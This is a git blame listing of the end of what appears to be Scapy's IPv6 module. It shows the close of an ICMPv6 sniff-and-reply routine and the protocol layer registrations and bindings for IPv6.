3887af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff_filter = "icmp6"
3888af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3889af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard    sniff(store=0,
3890af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          filter=sniff_filter,
3891af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          lfilter=lambda x: is_request(x, mac_src_filter, ip_src_filter),
3892af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          prn=lambda x: ra_reply_callback(x, iface),
3893af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard          iface=iface)
3894af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3895af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard
3896af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard#############################################################################
3897af26c2a019d9f8fe71a5064f71f1b736b6800844Arnaud Ebalard#############################################################################
3898c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil###                          Layers binding                               ###
3899c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3900c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil#############################################################################
3901c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3902614f54fc4b269030ba2934b6c353fb43de886e04Philconf.l3types.register(ETH_P_IPV6, IPv6)
3903614f54fc4b269030ba2934b6c353fb43de886e04Philconf.l2types.register(31, IPv6)
39041bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadonconf.l2types.register(DLT_IPV6, IPv6)
39051bb54991903a2e3a1d8c6f590aa4bb34d708c7d9Guillaume Valadonconf.l2types.register(DLT_RAW, _IPv46)
3906f6ce9f53090a518722f0b0dfdf7c4e90b138d0cfPierre LALETconf.l2types.register_num2layer(DLT_RAW_ALT, _IPv46)
3907c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhil
3908c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(Ether,     IPv6,     type = 0x86dd )
3909e0602343e528b8c9a53f20a0a40994eb1bb33436rbu@localhost.localdomainbind_layers(CookedLinux, IPv6,   proto = 0x86dd )
3910246c8bdfe6cabcdfc33f02a722bb062c03c8b393bartexbind_layers(GRE,       IPv6,     proto = 0x86dd )
3911c4f8a7f08c96149166a0455ad8f85dc87d3e496dAjaxbind_layers(SNAP,      IPv6,     code = 0x86dd )
391235f97efc53839f6366918c251dba5df2ac553c8dGuillaume Valadonbind_layers(Loopback,  IPv6,     type = 0x1c )
3913c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IPerror6,  TCPerror, nh = socket.IPPROTO_TCP )
3914c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IPerror6,  UDPerror, nh = socket.IPPROTO_UDP )
3915c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IPv6,      TCP,      nh = socket.IPPROTO_TCP )
3916c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IPv6,      UDP,      nh = socket.IPPROTO_UDP )
3917c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IP,        IPv6,     proto = socket.IPPROTO_IPV6 )
3918c0ae52849d8287e63ed3bebc36af2da3ff8aba3cPhilbind_layers(IPv6,      IPv6,     nh = socket.IPPROTO_IPV6 )
391917b4ef20fe8a6ca5e1387900ca329c5d1bcfe05dGuillaume Valadonbind_layers(IPv6,      IP,       nh = socket.IPPROTO_IPIP )
3920246c8bdfe6cabcdfc33f02a722bb062c03c8b393bartexbind_layers(IPv6,      GRE,      nh = socket.IPPROTO_GRE )
3921